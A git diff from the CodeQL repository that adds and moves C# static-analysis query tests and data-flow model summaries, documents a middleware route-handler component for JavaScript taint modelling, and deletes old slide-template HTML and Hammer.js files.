diff --git a/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.cs b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.cs
new file mode 100644
index 000000000000..bf9b19c4a5c7
--- /dev/null
+++ b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.cs	
@@ -0,0 +1,14 @@
+using System.IO;
+
+class PathCombine
+{
+    void bad()
+    {
+        Path.Combine(@"C:\Users", @"C:\Program Files");
+    }
+
+    void good()
+    {
+        Path.Join(@"C:\Users", @"C:\Program Files");
+    }
+}
diff --git a/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.expected b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.expected
new file mode 100644
index 000000000000..c0f9e405516b
--- /dev/null
+++ b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.expected	
@@ -0,0 +1 @@
+| PathCombine.cs:7:9:7:54 | call to method Combine | Call to 'System.IO.Path.Combine'. |
diff --git a/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.qlref b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.qlref
new file mode 100644
index 000000000000..eaf41d047402
--- /dev/null
+++ b/csharp/ql/test/query-tests/Bad Practices/Path Combine/PathCombine.qlref	
@@ -0,0 +1 @@
+Bad Practices/PathCombine.ql
\ No newline at end of file
diff --git a/csharp/ql/test/query-tests/Bad Practices/Path Combine/options b/csharp/ql/test/query-tests/Bad Practices/Path Combine/options
new file mode 100644
index 000000000000..75c39b4541ba
--- /dev/null
+++ b/csharp/ql/test/query-tests/Bad Practices/Path Combine/options	
@@ -0,0 +1,2 @@
+semmle-extractor-options: /nostdlib /noconfig
+semmle-extractor-options: --load-sources-from-project:${testdir}/../../../resources/stubs/_frameworks/Microsoft.NETCore.App/Microsoft.NETCore.App.csproj
diff --git a/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.cs b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.cs
new file mode 100644
index 000000000000..fffdaf9de743
--- /dev/null
+++ b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.cs	
@@ -0,0 +1,34 @@
+using System;
+
+class FutileConditionalTest
+{
+
+    public void M(string s)
+    {
+        if (s.Length > 0) ; // $ Alert
+
+        if (s.Length > 1)
+        {
+        } // $ Alert
+
+        if (s.Length > 2) // GOOD: because of else-branch
+        {
+        }
+        else
+        {
+            Console.WriteLine("hello");
+        }
+
+        if (s.Length > 3)
+        {
+        }
+        else
+        {
+        } // $ Alert
+
+        if (s.Length > 4)
+        {
+            // GOOD: Because of the comment.
+        }
+    }
+}
diff --git a/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.expected b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.expected
new file mode 100644
index 000000000000..db9b75043cba
--- /dev/null
+++ b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.expected	
@@ -0,0 +1,3 @@
+| FutileConditional.cs:8:9:8:27 | if (...) ... | If-statement with an empty then-branch and no else-branch. |
+| FutileConditional.cs:10:9:12:9 | if (...) ... | If-statement with an empty then-branch and no else-branch. |
+| FutileConditional.cs:22:9:27:9 | if (...) ... | If-statement with an empty then-branch and no else-branch. |
diff --git a/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.qlref b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.qlref
new file mode 100644
index 000000000000..6f3548889789
--- /dev/null
+++ b/csharp/ql/test/query-tests/Useless Code/FutileConditional/FutileConditional.qlref	
@@ -0,0 +1,2 @@
+query: Useless code/FutileConditional.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/csharp/ql/test/query-tests/Useless Code/FutileConditional/options b/csharp/ql/test/query-tests/Useless Code/FutileConditional/options
new file mode 100644
index 000000000000..75c39b4541ba
--- /dev/null
+++ b/csharp/ql/test/query-tests/Useless Code/FutileConditional/options	
@@ -0,0 +1,2 @@
+semmle-extractor-options: /nostdlib /noconfig
+semmle-extractor-options: --load-sources-from-project:${testdir}/../../../resources/stubs/_frameworks/Microsoft.NETCore.App/Microsoft.NETCore.App.csproj
diff --git a/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.cs b/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.cs
index 80b0ed180fc4..22a24013b08d 100644
--- a/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.cs	
+++ b/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.cs	
@@ -3,16 +3,16 @@ class IntGetHashCode
     void Test()
     {
         // These are all bad:
+        default(int).GetHashCode(); // $ Alert
+        default(short).GetHashCode(); // $ Alert
+        default(ushort).GetHashCode(); // $ Alert
+        default(byte).GetHashCode(); // $ Alert
+        default(sbyte).GetHashCode(); // $ Alert
+
+        // These are all good:
         default(uint).GetHashCode();
-        default(int).GetHashCode();
         default(long).GetHashCode();
         default(ulong).GetHashCode();
-        default(short).GetHashCode();
-        default(ushort).GetHashCode();
-        default(byte).GetHashCode();
-        default(sbyte).GetHashCode();
-
-        // These are all good:
         default(double).GetHashCode();
         default(float).GetHashCode();
         default(char).GetHashCode();
diff --git a/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.expected b/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.expected
index 6f126779321c..da253cc80b21 100644
--- a/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.expected	
+++ b/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.expected	
@@ -1,8 +1,5 @@
-| IntGetHashCode.cs:6:9:6:35 | call to method GetHashCode | Calling GetHashCode() on type uint is redundant. |
-| IntGetHashCode.cs:7:9:7:34 | call to method GetHashCode | Calling GetHashCode() on type int is redundant. |
-| IntGetHashCode.cs:8:9:8:35 | call to method GetHashCode | Calling GetHashCode() on type long is redundant. |
-| IntGetHashCode.cs:9:9:9:36 | call to method GetHashCode | Calling GetHashCode() on type ulong is redundant. |
-| IntGetHashCode.cs:10:9:10:36 | call to method GetHashCode | Calling GetHashCode() on type short is redundant. |
-| IntGetHashCode.cs:11:9:11:37 | call to method GetHashCode | Calling GetHashCode() on type ushort is redundant. |
-| IntGetHashCode.cs:12:9:12:35 | call to method GetHashCode | Calling GetHashCode() on type byte is redundant. |
-| IntGetHashCode.cs:13:9:13:36 | call to method GetHashCode | Calling GetHashCode() on type sbyte is redundant. |
+| IntGetHashCode.cs:6:9:6:34 | call to method GetHashCode | Calling GetHashCode() on type int is redundant. |
+| IntGetHashCode.cs:7:9:7:36 | call to method GetHashCode | Calling GetHashCode() on type short is redundant. |
+| IntGetHashCode.cs:8:9:8:37 | call to method GetHashCode | Calling GetHashCode() on type ushort is redundant. |
+| IntGetHashCode.cs:9:9:9:35 | call to method GetHashCode | Calling GetHashCode() on type byte is redundant. |
+| IntGetHashCode.cs:10:9:10:36 | call to method GetHashCode | Calling GetHashCode() on type sbyte is redundant. |
diff --git a/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.qlref b/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.qlref
index a2aedb412274..710cdadee824 100644
--- a/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.qlref	
+++ b/csharp/ql/test/query-tests/Useless Code/IntGetHashCode/IntGetHashCode.qlref	
@@ -1 +1,2 @@
-Useless code/IntGetHashCode.ql
\ No newline at end of file
+query: Useless code/IntGetHashCode.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.cs b/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.cs
new file mode 100644
index 000000000000..6f40759b3e67
--- /dev/null
+++ b/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.cs	
@@ -0,0 +1,27 @@
+using System;
+
+partial class C1
+{
+    public C2 Prop { get; set; }
+}
+
+class C2 { }
+
+class ConstantMatching
+{
+    void M1()
+    {
+        var c1 = new C1();
+        if (c1.Prop is int) // $ Alert
+        {
+        }
+
+        // Should not be considered a constant condition as
+        // we don't know anything about D.
+        var d = new D();
+        if (d.Prop is C2)
+        {
+        }
+    }
+}
+
diff --git a/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected b/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected
new file mode 100644
index 000000000000..25ed39bebb72
--- /dev/null
+++ b/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected	
@@ -0,0 +1,2 @@
+| ConstantCondition.cs:15:13:15:26 | ... is ... | Condition always evaluates to 'false'. |
+| ConstantCondition.cs:15:24:15:26 | access to type Int32 | Pattern never matches. |
diff --git a/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.qlref b/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.qlref
new file mode 100644
index 000000000000..6692217230e0
--- /dev/null
+++ b/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.qlref	
@@ -0,0 +1,2 @@
+query: Bad Practices/Control-Flow/ConstantCondition.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/csharp/ql/test/query-tests/standalone/ObjectComparison/options b/csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/options
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/ObjectComparison/options
rename to csharp/ql/test/query-tests/standalone/Bad Practices/Control-Flow/ConstantCondition/options
diff --git a/csharp/ql/test/query-tests/standalone/IncomparableEquals/IncomparableEquals.cs b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.cs
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/IncomparableEquals/IncomparableEquals.cs
rename to csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.cs
diff --git a/csharp/ql/test/query-tests/standalone/IncomparableEquals/IncomparableEquals.expected b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.expected
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/IncomparableEquals/IncomparableEquals.expected
rename to csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.expected
diff --git a/csharp/ql/test/query-tests/standalone/IncomparableEquals/IncomparableEquals.qlref b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/IncomparableEquals/IncomparableEquals.qlref
rename to csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref
diff --git a/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/options b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/options
new file mode 100644
index 000000000000..7ba3811b2afb
--- /dev/null
+++ b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/options	
@@ -0,0 +1 @@
+semmle-extractor-options: --standalone
diff --git a/csharp/ql/test/query-tests/standalone/ObjectComparison/ObjectComparison.cs b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.cs
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/ObjectComparison/ObjectComparison.cs
rename to csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.cs
diff --git a/csharp/ql/test/query-tests/standalone/ObjectComparison/ObjectComparison.expected b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.expected
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/ObjectComparison/ObjectComparison.expected
rename to csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.expected
diff --git a/csharp/ql/test/query-tests/standalone/ObjectComparison/ObjectComparison.qlref b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.qlref
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/ObjectComparison/ObjectComparison.qlref
rename to csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.qlref
diff --git a/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/options b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/options
new file mode 100644
index 000000000000..7ba3811b2afb
--- /dev/null
+++ b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/options	
@@ -0,0 +1 @@
+semmle-extractor-options: --standalone
diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs
index 2d8bbc8912bc..7a6f16f383e5 100644
--- a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs
+++ b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs
@@ -1034,3 +1034,40 @@ public override object GetValue()
         }
     }
 }
+
+public class ParameterModifiers
+{
+    // contentbased-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated
+    // summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated
+    public void Copy(object key, out object value)
+    {
+        value = key;
+    }
+
+    // contentbased-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated
+    // summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated
+    public void CopyToRef(object key, ref object value)
+    {
+        value = key;
+    }
+
+    // No summaries as we disregard flow from a parameter to itself.
+    // neutral=Models;ParameterModifiers;RefParamFlowToSelf;(System.Object,System.Boolean);summary;df-generated
+    public void RefParamFlowToSelf(ref object value, bool b)
+    {
+        value = b ? value : null;
+    }
+
+    // neutral=Models;ParameterModifiers;RefParamUse;(System.Object);summary;df-generated
+    public void RefParamUse(ref object value)
+    {
+        var b = value is null;
+    }
+
+    // contentbased-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;dfc-generated
+    // summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;taint;df-generated
+    public object InReturn(in object v)
+    {
+        return v;
+    }
+}
diff --git a/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst b/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst
index b4a3446e942f..fa2c1d4e8a82 100644
--- a/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst
+++ b/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst
@@ -349,6 +349,48 @@ Note that this flow is already recognized by the CodeQL JS analysis, but for thi
 - The last column, **value**, indicates the kind of flow to add. The value **value** means the input value is unchanged as
   it flows to the output.
 
+
+Example: Modeling properties injected by a middleware function
+--------------------------------------------------------------
+
+In this example, we'll show how to model a hypothetical middleware function that adds a tainted value
+on the incoming request objects:
+
+.. code-block:: js
+
+  const express = require('express')
+  const app = express()
+
+  app.use(require('@example/middleware').injectData())
+
+  app.get('/foo', (req, res) => {
+    req.data; // <-- mark 'req.data' as a taint source
+  });
+
+This can be achieved with the following data extension:
+
+.. code-block:: yaml
+
+  extensions:
+    - addsTo:
+        pack: codeql/javascript-all
+        extensible: sourceModel
+      data:
+        - [
+            "@example/middleware",
+            "Member[injectData].ReturnValue.GuardedRouteHandler.Parameter[0].Member[data]",
+            "remote",
+          ]
+
+- Since we're adding a new taint source, we add a tuple to the **sourceModel** extensible predicate.
+- The first column, **"@example/middleware"**, begins the search at imports of the hypothetical NPM package **@example/middleware**.
+- **Member[injectData]** selects accesses to the **injectData** member.
+- **ReturnValue** selects the return value of the call to **injectData**.
+- **GuardedRouteHandler** interprets the current value as a middleware function and selects all route handlers guarded by that middleware. Since the current value is passd to **app.use()**, the callback subsequently passed to **app.get()** is seen as a guarded route handler.
+- **Parameter[0]** selects the first parameter of the callback (the parameter named **req**).
+- **Member[data]** selects accesses to the **data** property of the **req** object.
+- Finally, the kind **remote** indicates that this is considered a source of remote flow.
+
 Reference material
 ------------------
 
@@ -494,6 +536,12 @@ Components related to decorators:
 - **DecoratedParameter** selects a parameter that is decorated by the current value.
 - **DecoratedMember** selects a method, field, or accessor that is decorated by the current value.
 
+Additionally there is a component related to middleware functions:
+
+- **GuardedRouteHandler** interprets the current value as a middleware function, and selects any route handler function that comes after it in the routing hierarchy.
+  This can be used to model properties injected onto request and response objects, such as **req.db** after a middleware that injects a database connection.
+  Note that this currently over-approximates the set of route handlers but may be made more accurate in the future.
+
 Additional notes about the syntax of operands:
 
 - Multiple operands may be given to a single component, as a shorthand for the union of the operands. For example, **Member[foo,bar]** matches the union of **Member[foo]** and **Member[bar]**.
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/end_slide.html b/docs/codeql/ql-training/_static-training/slides-semmle-2/end_slide.html
deleted file mode 100644
index dd35aec615c9..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/end_slide.html
+++ /dev/null
@@ -1,5 +0,0 @@
-<slide class="end-slide">
-        <article>
-        </article>
-</slide>
-        
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/layout.html b/docs/codeql/ql-training/_static-training/slides-semmle-2/layout.html
deleted file mode 100644
index fb5d7a28416a..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/layout.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!--
-Google IO 2012/2013 HTML5 Slide Template
-
-Authors: Eric Bidelman <ebidel@gmail.com>
-         Luke Mahé <lukem@google.com>
-
-URL: https://code.google.com/p/io-2012-slides
--->
-{%- block doctype -%}
-<!DOCTYPE html>
-{%- endblock %}
-
-{%- set reldelim1 = reldelim1 is not defined and ' &raquo;' or reldelim1 %}
-{%- set reldelim2 = reldelim2 is not defined and ' |' or reldelim2 %}
-{%- set render_sidebar = (not embedded) and (not theme_nosidebar|tobool) and
-                         (sidebars != []) %}
-{%- set url_root = pathto('', 1) %}
-{# XXX necessary? #}
-{%- if url_root == '#' %}{% set url_root = '' %}{% endif %}
-{%- if not embedded and docstitle %}
-  {%- set titlesuffix = " &mdash; "|safe + docstitle|e %}
-{%- else %}
-  {%- set titlesuffix = "" %}
-{%- endif %}
-
-{%- macro relbar() %}
-{%- endmacro %}
-
-{%- macro sidebar() %}
-{%- endmacro %}
-
-{%- macro script() %}
-    <script type="text/javascript">
-      var DOCUMENTATION_OPTIONS = {
-        URL_ROOT:    '../',
-        VERSION:     '1.21',
-        COLLAPSE_INDEX: false,
-        FILE_SUFFIX: '.html',
-        HAS_SOURCE:  true
-      };
-    </script>
-
-<script data-main="{{ pathto('_static/js/slides', 1) }}"
-            src="{{ pathto('_static/js/require-1.0.8.min.js', 1) }}"></script>
-
-    {%- for scriptfile in script_files %}
-    <script type="text/javascript" src="{{ pathto(scriptfile, 1) }}"></script>
-    {%- endfor %}
-    {% if theme_custom_js %}
-    <script type="text/javascript" src="{{ pathto('_static/' + theme_custom_js, 1) }}"></script>
-    {% endif %}
-
-{%- endmacro %}
-
-{%- macro css() %}
-  <link rel="stylesheet" media="all"
-        href="{{ pathto('_static/theme/css/default.css', 1) }}">
-  <link rel="stylesheet" media="all"
-        href="{{ pathto('_static/theme/css/hieroglyph.css', 1) }}">
-  <link rel="stylesheet" media="only screen and (max-device-width: 480px)"
-        href="{{ pathto('_static/theme/css/phone.css', 1) }}">
-
-  <link rel="stylesheet" href="{{ pathto('_static/pygments.css', 1) }}" type="text/css" />
-  {% if theme_custom_css %}
-  <link rel="stylesheet" href="{{ pathto('_static/' + theme_custom_css, 1) }}"
-        type="text/css" />
-  {% endif %}
-  
-  {%- for cssfile in css_files %}
-  <link rel="stylesheet" href="{{ pathto(cssfile, 1) }}" type="text/css" />
-  {%- endfor %}
-{%- endmacro %}
-
-<html>
-<head>
-  {%- block htmltitle %}
-  <title>{{ title|striptags|e }}{{ titlesuffix }}</title>
-  {%- endblock %}
-  <meta charset="{{ encoding }}">
-  {{ metatags }}
-  <meta http-equiv="X-UA-Compatible" content="chrome=1">
-  <!-- comment -->
-  <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
-  <!--<meta name="viewport" content="width=device-width, initial-scale=1.0">-->
-  <!--This one seems to work all the time, but really small on ipad-->
-  <!--<meta name="viewport" content="initial-scale=0.4">-->
-  <!-- end comment -->
-  <meta name="apple-mobile-web-app-capable" content="yes">
-
-  <meta name="hieroglyph-title" data-config-title>
-  <meta name="hieroglyph-subtitle" data-config-subtitle>
-  <meta name="hieroglyph-presenter" data-config-presenter>
-
-  {{ css() }}
-  <base target="_blank"> <!-- This amazingness opens all links in a new tab. -->
-  {%- if not embedded %}
-  {{ script() }}
-  {%- if use_opensearch %}
-  <link rel="search" type="application/opensearchdescription+xml"
-        title="{% trans docstitle=docstitle|e %}Search within {{ docstitle }}{% endtrans %}"
-        href="{{ pathto('_static/opensearch.xml', 1) }}"/>
-  {%- endif %}
-  {%- if favicon %}
-  <link rel="shortcut icon" href="{{ pathto('_static/' + favicon, 1) }}"/>
-  {%- endif %}
-  {%- endif %}
-{%- block linktags %}
-    {%- if hasdoc('about') %}
-    <link rel="author" title="{{ _('About these documents') }}" href="{{ pathto('about') }}" />
-    {%- endif %}
-    {%- if hasdoc('genindex') %}
-    <link rel="index" title="{{ _('Index') }}" href="{{ pathto('genindex') }}" />
-    {%- endif %}
-    {%- if hasdoc('search') %}
-    <link rel="search" title="{{ _('Search') }}" href="{{ pathto('search') }}" />
-    {%- endif %}
-    {%- if hasdoc('copyright') %}
-    <link rel="copyright" title="{{ _('Copyright') }}" href="{{ pathto('copyright') }}" />
-    {%- endif %}
-    <link rel="top" title="{{ docstitle|e }}" href="{{ pathto('index') }}" />
-    {%- if parents %}
-    <link rel="up" title="{{ parents[-1].title|striptags|e }}" href="{{ parents[-1].link|e }}" />
-    {%- endif %}
-    {%- if next %}
-    <link rel="next" title="{{ next.title|striptags|e }}" href="{{ next.link|e }}" />
-    {%- endif %}
-    {%- if prev %}
-    <link rel="prev" title="{{ prev.title|striptags|e }}" href="{{ prev.link|e }}" />
-    {%- endif %}
-{%- endblock %}
-{%- block extrahead %} 
-<link href="https://fonts.googleapis.com/css?family=Lato&display=swap" rel="stylesheet">
-<link href='https://fonts.googleapis.com/css?family=Work+Sans&display=swap' rel='stylesheet'>
-{% endblock %}
-</head>
-<body style="opacity: 0">
-
-<slides class="layout-widescreen" id="slides">
-
-<!--  {% include "title_slide.html" %} -->
-
-  {% block body %}{% endblock %}
-
-  {% include "end_slide.html" %}
-
-  <slide class="backdrop"></slide>
-
-</slides>
-
-
-<script type="text/javascript">
-
-//insert info buttons on slides that have additional notes 
-  $(".admonition.note").before("<button id='extra-notes'>&#9432;</button>");
-  $(".admonition-title").before("<button id='close-notes'>&times;</button>");
-  $(document).ready(function() {
-     $('button').click(function() {
-       document.body.classList.toggle('with-notes');
-     });
-  });
-</script>
-
-<script type="text/javascript">
-
-//assigns font-size when document is ready
-document.onreadystatechange = () => {
-  if (document.readyState === 'complete') {
-    var wrapperHeight = document.getElementById('slides').clientHeight;
-    var relativeFontSize = wrapperHeight / 45 + 'px'; //change integer to set desired font size
-    document.getElementById("slides").style.fontSize = relativeFontSize;
-  }
-};
-//then on window resize
-window.onresize = function(event) {
-  var wrapperHeight = document.getElementById('slides').clientHeight;
-  var relativeFontSize = wrapperHeight / 45 + 'px'; //change integer to set for desired font size
-  document.getElementById("slides").style.fontSize = relativeFontSize;
-};
-</script>
-
-</body>
-</html>
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/slide.html b/docs/codeql/ql-training/_static-training/slides-semmle-2/slide.html
deleted file mode 100644
index e304d9580992..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/slide.html
+++ /dev/null
@@ -1,19 +0,0 @@
-  <slide class="{% if slide_number==1 %}title-slide segue nobackground {% endif %} {% if slide_classes %}{{ ' '.join(slide_classes) }} {% endif %}level-{{ level }}"{% if id %} id="{{ id }}"{% endif %}>
- 
-    <hgroup>
-      <h{{ level }}>{{ title }}</h{{ level }}>
-    </hgroup>
-    
-    <article class="{{ content_classes|join(' ') }}">
-
-      {{ content }}
-
-
-{% if config.slide_numbers %}
-<div class="slide-no">{{ slide_number }}</div>
-{% endif %}
-{% if config.slide_footer %}
-<div class="slide-footer">{{ config.slide_footer }}</div>
-{% endif %}
-    </article>
-  </slide>
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/config.rb b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/config.rb
deleted file mode 100644
index e435e43a0bb9..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/config.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# Require any additional compass plugins here.
-
-# Set this to the root of your project when deployed:
-http_path = "/"
-css_dir = "theme/css"
-sass_dir = "theme/scss"
-images_dir = "images"
-javascripts_dir = "js"
-
-# You can select your preferred output style here (can be overridden via the command line):
-output_style = :expanded #:expanded or :nested or :compact or :compressed
-
-# To enable relative paths to assets via compass helper functions. Uncomment:
-# relative_assets = true
-
-# To disable debugging comments that display the original location of your selectors. Uncomment:
-# line_comments = false
-
-
-# If you prefer the indented syntax, you might want to regenerate this
-# project again passing --syntax sass, or you can uncomment this:
-# preferred_syntax = :sass
-# and then run:
-# sass-convert -R --from scss --to sass sass scss && rm -rf sass && mv scss sass
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/hammer.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/hammer.js
deleted file mode 100644
index 44a5802e56bb..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/hammer.js
+++ /dev/null
@@ -1,586 +0,0 @@
-/*
- * Hammer.JS
- * version 0.4
- * author: Eight Media
- * https://github.com/EightMedia/hammer.js
- */
-function Hammer(element, options, undefined)
-{
-    var self = this;
-
-    var defaults = {
-        // prevent the default event or not... might be buggy when false
-        prevent_default    : false,
-        css_hacks          : true,
-
-        drag               : true,
-        drag_vertical      : true,
-        drag_horizontal    : true,
-        // minimum distance before the drag event starts
-        drag_min_distance  : 20, // pixels
-
-        // pinch zoom and rotation
-        transform          : true,
-        scale_treshold     : 0.1,
-        rotation_treshold  : 15, // degrees
-
-        tap                : true,
-        tap_double         : true,
-        tap_max_interval   : 300,
-        tap_double_distance: 20,
-
-        hold               : true,
-        hold_timeout       : 500
-    };
-    options = mergeObject(defaults, options);
-
-    // some css hacks
-    (function() {
-        if(!options.css_hacks) {
-            return false;
-        }
-
-        var vendors = ['webkit','moz','ms','o',''];
-        var css_props = {
-            "userSelect": "none",
-            "touchCallout": "none",
-            "userDrag": "none",
-            "tapHighlightColor": "rgba(0,0,0,0)"
-        };
-
-        var prop = '';
-        for(var i = 0; i < vendors.length; i++) {
-            for(var p in css_props) {
-                prop = p;
-                if(vendors[i]) {
-                    prop = vendors[i] + prop.substring(0, 1).toUpperCase() + prop.substring(1);
-                }
-                element.style[ prop ] = css_props[p];
-            }
-        }
-    })();
-
-    // holds the distance that has been moved
-    var _distance = 0;
-
-    // holds the exact angle that has been moved
-    var _angle = 0;
-
-    // holds the diraction that has been moved
-    var _direction = 0;
-
-    // holds position movement for sliding
-    var _pos = { };
-
-    // how many fingers are on the screen
-    var _fingers = 0;
-
-    var _first = false;
-
-    var _gesture = null;
-    var _prev_gesture = null;
-
-    var _touch_start_time = null;
-    var _prev_tap_pos = {x: 0, y: 0};
-    var _prev_tap_end_time = null;
-
-    var _hold_timer = null;
-
-    var _offset = {};
-
-    // keep track of the mouse status
-    var _mousedown = false;
-
-    var _event_start;
-    var _event_move;
-    var _event_end;
-
-
-    /**
-     * angle to direction define
-     * @param  float    angle
-     * @return string   direction
-     */
-    this.getDirectionFromAngle = function( angle )
-    {
-        var directions = {
-            down: angle >= 45 && angle < 135, //90
-            left: angle >= 135 || angle <= -135, //180
-            up: angle < -45 && angle > -135, //270
-            right: angle >= -45 && angle <= 45 //0
-        };
-
-        var direction, key;
-        for(key in directions){
-            if(directions[key]){
-                direction = key;
-                break;
-            }
-        }
-        return direction;
-    };
-
-
-    /**
-     * count the number of fingers in the event
-     * when no fingers are detected, one finger is returned (mouse pointer)
-     * @param  event
-     * @return int  fingers
-     */
-    function countFingers( event )
-    {
-        // there is a bug on android (until v4?) that touches is always 1,
-        // so no multitouch is supported, e.g. no, zoom and rotation...
-        return event.touches ? event.touches.length : 1;
-    }
-
-
-    /**
-     * get the x and y positions from the event object
-     * @param  event
-     * @return array  [{ x: int, y: int }]
-     */
-    function getXYfromEvent( event )
-    {
-        event = event || window.event;
-
-        // no touches, use the event pageX and pageY
-        if(!event.touches) {
-            var doc = document,
-                body = doc.body;
-
-            return [{
-                x: event.pageX || event.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && doc.clientLeft || 0 ),
-                y: event.pageY || event.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && doc.clientTop || 0 )
-            }];
-        }
-        // multitouch, return array with positions
-        else {
-            var pos = [], src;
-            for(var t=0, len=event.touches.length; t<len; t++) {
-                src = event.touches[t];
-                pos.push({ x: src.pageX, y: src.pageY });
-            }
-            return pos;
-        }
-    }
